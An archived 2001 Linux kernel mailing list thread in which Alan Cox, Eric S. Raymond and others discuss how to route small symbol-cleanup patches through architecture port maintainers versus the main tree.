To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 07:20:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24014482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 07:20:43 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14qaeC-0001DZ-00; Fri, 20 Apr 2001 14:08:28 +0100
In-Reply-To: <20010419230009.A32500@thyrsus.com> from "Eric S. Raymond" at Apr 19, 2001 11:00:09 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10829

> What is the right procedure for doing changes like this?  Is "don't
> touch that tree" a permanent condition, or am I going to get a chance
> to clean up the global CONFIG_ namespace after your next merge-down?

Feeding arch related stuff to the architecture maintainers.

> That's the main thing I'm after right now -- I want to cut down on
> the false positives in my orphaned-symbol reports so that the actual
> bugs will stand out.

Teach it to read a 'symbolstoignore' file.

Part of the problem you are hitting right now is that most architectures are
not yet fully in sync with 2.4 nor likely to all be for another few iterations.





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 14:13:35 +0100 (BST)
Lines: 18
Approved: news@gmane.org
Message-ID: <E14qajB-0001Dt-00@the-village.bc.nu>
References: <200104200452.f3K4q3X07411@saturn.cs.uml.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620049 18351 80.91.229.3 (22 Nov 2014 01:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:09 +0000 (UTC)
Cc: willy@ldl.fc.hp.com (Matthew Wilcox),
	james.rich@m.cc.utah.edu (james rich),
	esr@thyrsus.com (Eric S. Raymond), linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: acahalan@cs.uml.edu (Albert D. Cahalan)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 07:26:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B88E482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 07:26:25 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14qajB-0001Dt-00; Fri, 20 Apr 2001 14:13:37 +0100
In-Reply-To: <200104200452.f3K4q3X07411@saturn.cs.uml.edu> from "Albert D. Cahalan" at Apr 20, 2001 12:52:03 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10830

> > we sent him every single one of those patches individually.  and we'd
> > go insane trying to keep up with what he'd taken and what he'd dropped.
> > 
> > until you've actually tried doing this, please don't attempt to criticise.
> 
> Have _you_ tried? If I recall correctly, Linus spoke out against the

I have for one. Its definitely the wrong approach to bomb Linus with patches
when doing the merge of an architecture. All the architecture folk with in
their own trees for good reason.

Once the code is in a fit state to merge (ie actually works well with the new
2.4.x stuff and 2.4.x core stops shifting around) then the merge can get done
piece by piece.





From - Thu Nov 08 21:17:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 09:35:38 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 16
Approved: news@gmane.org
Message-ID: <20010420093538.A5525@thyrsus.com>
References: <200104200452.f3K4q3X07411@saturn.cs.uml.edu> <E14qajB-0001Dt-00@the-village.bc.nu>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620049 18357 80.91.229.3 (22 Nov 2014 01:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:09 +0000 (UTC)
Cc: "Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 07:36:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4027E482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 07:36:14 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KDZc705529;
	Fri, 20 Apr 2001 09:35:38 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14qajB-0001Dt-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Fri, Apr 20, 2001 at 02:13:35PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10831

Alan Cox <alan@lxorguk.ukuu.org.uk>:
> I have for one. Its definitely the wrong approach to bomb Linus with patches
> when doing the merge of an architecture. All the architecture folk with in
> their own trees for good reason.

On the other hand, Linus has objected to the One-Big-Patch approach in
the past with respect to things like the networking and VM code.  How
are people to know what the right thing is?
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

Love your country, but never trust its government.
	-- Robert A. Heinlein.




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 09:53:02 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 28
Approved: news@gmane.org
Message-ID: <20010420095302.A5674@thyrsus.com>
References: <20010420093538.A5525@thyrsus.com> <E14qbCT-0001IF-00@the-village.bc.nu>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620050 18359 80.91.229.3 (22 Nov 2014 01:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:10 +0000 (UTC)
Cc: "Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 07:53:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id C155F482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 07:53:35 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KDr2i05727;
	Fri, 20 Apr 2001 09:53:02 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14qbCT-0001IF-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Fri, Apr 20, 2001 at 02:43:49PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10832

Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > > I have for one. Its definitely the wrong approach to bomb Linus
> > > with patches when doing the merge of an architecture. All the
> > > architecture folk with in their own trees for good reason.
> > 
> > On the other hand, Linus has objected to the One-Big-Patch approach in
> > the past with respect to things like the networking and VM code.  How
> > are people to know what the right thing is?
> 
> Who said anything about one big patch ?  Just because you have a lot
> of differences doesnt mean you send Linus one giant splat of code. I
> don't send Linus -ac for example.

OK, so maybe I'm being stupid.  But the implication of this talk of separate
port trees and architecture merges is that these guys periodically send big
resync patches to you and Linus.

If that's not what's going on, what is?
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

Never could an increase of comfort or security be a sufficient good to be
bought at the price of liberty.
	-- Hillaire Belloc




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 14:43:49 +0100 (BST)
Lines: 21
Approved: news@gmane.org
Message-ID: <E14qbCT-0001IF-00@the-village.bc.nu>
References: <20010420093538.A5525@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620050 18361 80.91.229.3 (22 Nov 2014 01:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:10 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	acahalan@cs.uml.edu (Albert D. Cahalan),
	willy@ldl.fc.hp.com (Matthew Wilcox),
	james.rich@m.cc.utah.edu (james rich), linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 07:56:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9B1D9482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 07:56:42 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14qbCT-0001IF-00; Fri, 20 Apr 2001 14:43:53 +0100
In-Reply-To: <20010420093538.A5525@thyrsus.com> from "Eric S. Raymond" at Apr 20, 2001 09:35:38 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10833

> Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > I have for one. Its definitely the wrong approach to bomb Linus with patches
> > when doing the merge of an architecture. All the architecture folk with in
> > their own trees for good reason.
> 
> On the other hand, Linus has objected to the One-Big-Patch approach in
> the past with respect to things like the networking and VM code.  How
> are people to know what the right thing is?

Who said anything about one big patch ?

Just because you have a lot of differences doesnt mean you send Linus one giant
splat of code. I don't send Linus -ac for example.

Alan







From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 15:03:06 +0100 (BST)
Lines: 14
Approved: news@gmane.org
Message-ID: <E14qbV6-0001KI-00@the-village.bc.nu>
References: <20010420095302.A5674@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620050 18366 80.91.229.3 (22 Nov 2014 01:34:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:10 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	acahalan@cs.uml.edu (Albert D. Cahalan),
	willy@ldl.fc.hp.com (Matthew Wilcox),
	james.rich@m.cc.utah.edu (james rich), linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 08:02:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D67C482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 08:02:49 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14qbV6-0001KI-00; Fri, 20 Apr 2001 15:03:08 +0100
In-Reply-To: <20010420095302.A5674@thyrsus.com> from "Eric S. Raymond" at Apr 20, 2001 09:53:02 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10834

> OK, so maybe I'm being stupid.  But the implication of this talk of separate
> port trees and architecture merges is that these guys periodically send big
> resync patches to you and Linus.
> 
> If that's not what's going on, what is?

People send batches of small fixes to Linus or to me. So for example the S/390
folks send me things like 'fix the mm layer to match the changes in 2.4.3'
and 'Update the DASD storage driver'. Each of which fixes one thing or one
set of things and is easy to check on its own





From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 10:19:51 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 34
Approved: news@gmane.org
Message-ID: <20010420101951.A6011@thyrsus.com>
References: <20010420095302.A5674@thyrsus.com> <E14qbV6-0001KI-00@the-village.bc.nu>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620051 18368 80.91.229.3 (22 Nov 2014 01:34:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:11 +0000 (UTC)
Cc: "Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 08:20:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4DCC1482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 08:20:28 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KEJqO06091;
	Fri, 20 Apr 2001 10:19:52 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14qbV6-0001KI-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Fri, Apr 20, 2001 at 03:03:06PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10835

Alan Cox <alan@lxorguk.ukuu.org.uk>:
> People send batches of small fixes to Linus or to me. So for example
> the S/390 folks send me things like 'fix the mm layer to match the
> changes in 2.4.3' and 'Update the DASD storage driver'. Each of
> which fixes one thing or one set of things and is easy to check on
> its own

I'll continue asking stupid questions, then.  Like, under this system how
can either you or the port maintainers maintain a good representation of 
how far out of sync they are with the main tree?

The implied workflow (developers in general, up to port maintainers,
up to you and Linus) makes both technological and sociological sense.
It kind of reminds me of Anglo-Norman feudalism post-1066 ("No lord
without land, no land without a lord.").

There are a couple of funny edge cases that it doesn't seem to handle
well, though.  One is the kind I'm bumping into right now, where
somebody legitimately needs to make small (almost trivial) changes
scattered all through the tree.

Another is the case where a piece of code that needs to be changed doesn't
have an active maintainer for a third party like me to go to.

What's the neighborly way to deal with these?
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

"The best we can hope for concerning the people at large is that they be
properly armed."
        -- Alexander Hamilton, The Federalist Papers at 184-188




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 15:44:34 +0100 (BST)
Lines: 27
Approved: news@gmane.org
Message-ID: <E14qc9E-0001PW-00@the-village.bc.nu>
References: <20010420101951.A6011@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620051 18370 80.91.229.3 (22 Nov 2014 01:34:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:11 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
	acahalan@cs.uml.edu (Albert D. Cahalan),
	willy@ldl.fc.hp.com (Matthew Wilcox),
	james.rich@m.cc.utah.edu (james rich), linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: esr@thyrsus.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 08:45:45 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from the-village.bc.nu (router-100M.swansea.linux.org.uk [194.168.151.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A01D482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 08:45:42 -0600 (MDT)
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 14qc9E-0001PW-00; Fri, 20 Apr 2001 15:44:36 +0100
In-Reply-To: <20010420101951.A6011@thyrsus.com> from "Eric S. Raymond" at Apr 20, 2001 10:19:51 AM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:10836

> I'll continue asking stupid questions, then.  Like, under this system how
> can either you or the port maintainers maintain a good representation of 
> how far out of sync they are with the main tree?

diff and read the output.

[bizzare sociopolitical mumble deleted]

> well, though.  One is the kind I'm bumping into right now, where
> somebody legitimately needs to make small (almost trivial) changes
> scattered all through the tree.

Yep. But such changes are rare. Or should be. 

> Another is the case where a piece of code that needs to be changed doesn't
> have an active maintainer for a third party like me to go to.
> What's the neighborly way to deal with these?

If I get patches for stuff that doesnt seem to have a maintainer I apply them.
On the odd occasion a scream is heard in the distance it means I now know
there is an active maintainer.







From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Eric S. Raymond" <esr@thyrsus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 10:59:34 -0400
Organization: Eric Conspiracy Secret Labs
Lines: 32
Approved: news@gmane.org
Message-ID: <20010420105934.A6668@thyrsus.com>
References: <20010420101951.A6011@thyrsus.com> <E14qc9E-0001PW-00@the-village.bc.nu>
Reply-To: esr@thyrsus.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620051 18380 80.91.229.3 (22 Nov 2014 01:34:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:11 +0000 (UTC)
Cc: "Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 08:59:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from snark.thyrsus.com (snark.tuxedo.org [207.106.50.26])
	by dsl2.external.hp.com (Postfix) with ESMTP id D719D482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 08:59:17 -0600 (MDT)
Original-Received: (from esr@localhost)
	by snark.thyrsus.com (8.11.0/8.11.0) id f3KExYe06726;
	Fri, 20 Apr 2001 10:59:34 -0400
Mail-Followup-To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <E14qc9E-0001PW-00@the-village.bc.nu>; from alan@lxorguk.ukuu.org.uk on Fri, Apr 20, 2001 at 03:44:34PM +0100
X-Eric-Conspiracy: There is no conspiracy
Xref: news.gmane.org gmane.linux.ports.parisc:10837

Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > well, though.  One is the kind I'm bumping into right now, where
> > somebody legitimately needs to make small (almost trivial) changes
> > scattered all through the tree.
> 
> Yep. But such changes are rare. Or should be. 

Knowing that doesn't help me much, since I'm trying to fix up a global
namespace that touches everybody :-(.
 
> If I get patches for stuff that doesnt seem to have a maintainer I
> apply them.  On the odd occasion a scream is heard in the distance
> it means I now know there is an active maintainer.

All right then.  I'm going to send you a bunch of dead-symbol cleanup
patches.  I'll try to stay in the mainline code and out of the port
trees.  Would you please do me the kindness of telling me which ones
can go in and which ones you think have to go through maintainers?

You should have received one such patch already, fixes for two
documentation files.
-- 
		<a href="http://www.tuxedo.org/~esr/">Eric S. Raymond</a>

Sometimes the law defends plunder and participates in it. Sometimes
the law places the whole apparatus of judges, police, prisons and
gendarmes at the service of the plunderers, and treats the victim --
when he defends himself -- as a criminal.
	-- Frederic Bastiat, "The Law"




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Rini <trini@kernel.crashing.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone paying attention?
Date: Fri, 20 Apr 2001 08:51:48 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20010420085148.V13403@opus.bloom.county>
References: <20010420101951.A6011@thyrsus.com> <E14qc9E-0001PW-00@the-village.bc.nu> <20010420105934.A6668@thyrsus.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620052 18390 80.91.229.3 (22 Nov 2014 01:34:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:12 +0000 (UTC)
To: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 09:54:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from opus.bloom.county (cpe-24-221-152-185.az.sprintbbd.net [24.221.152.185])
	by dsl2.external.hp.com (Postfix) with ESMTP id BE071482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 09:54:18 -0600 (MDT)
Original-Received: (from tmrini@localhost)
        by opus.bloom.county (8.12.0.Beta7/8.12.0.Beta7/Debian 8.12.0.Beta7-1) id f3KFpnc1000705;
	Fri, 20 Apr 2001 08:51:49 -0700
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010420105934.A6668@thyrsus.com>; from esr@thyrsus.com on Fri, Apr 20, 2001 at 10:59:34AM -0400
Xref: news.gmane.org gmane.linux.ports.parisc:10838

On Fri, Apr 20, 2001 at 10:59:34AM -0400, Eric S. Raymond wrote:
> Alan Cox <alan@lxorguk.ukuu.org.uk>:
> > > well, though.  One is the kind I'm bumping into right now, where
> > > somebody legitimately needs to make small (almost trivial) changes
> > > scattered all through the tree.
> > 
> > Yep. But such changes are rare. Or should be. 
> 
> Knowing that doesn't help me much, since I'm trying to fix up a global
> namespace that touches everybody :-(.

Which does boil down to having to work with trees other than Linus or
Alans.  Remember, the official tree is not always the up-to-date tree,
or in the case of other arches, the most relevant tree.  But if you send
something off to a maintainer, there's a good chance (if they're still active)
they'll do what you ask, and it'll get to Linus/Alan the next time they sync.
As long as the problem gets fixed, it shouldn't be as important if it's fixed
in everyones tree right now, or in a release or two.  If it's some sort of
huge bug it just might get fixed sooner.

-- 
Tom Rini (TR1265)
http://gate.crashing.org/~trini/




From - Thu Nov 08 21:17:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeff Garzik <jgarzik@mandrakesoft.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: OK, let's try cleaning up another nit. Is anyone 
 paying attention?
Date: Fri, 20 Apr 2001 12:06:20 -0400
Organization: MandrakeSoft
Lines: 18
Approved: news@gmane.org
Message-ID: <3AE05E7C.F9C76ED2@mandrakesoft.com>
References: <20010420101951.A6011@thyrsus.com> <E14qc9E-0001PW-00@the-village.bc.nu> <20010420105934.A6668@thyrsus.com> <20010420085148.V13403@opus.bloom.county>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620052 18399 80.91.229.3 (22 Nov 2014 01:34:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:34:12 +0000 (UTC)
Cc: "Eric S. Raymond" <esr@thyrsus.com>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>,
	"Albert D. Cahalan" <acahalan@cs.uml.edu>,
	Matthew Wilcox <willy@ldl.fc.hp.com>,
	james rich <james.rich@m.cc.utah.edu>, linux-kernel@vger.kernel.org,
	parisc-linux@parisc-linux.org
To: Tom Rini <trini@kernel.crashing.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Apr 20 10:06:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from havoc.gtf.org (panic.ohr.gatech.edu [130.207.47.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5796482A
	for <parisc-linux@parisc-linux.org>; Fri, 20 Apr 2001 10:06:27 -0600 (MDT)
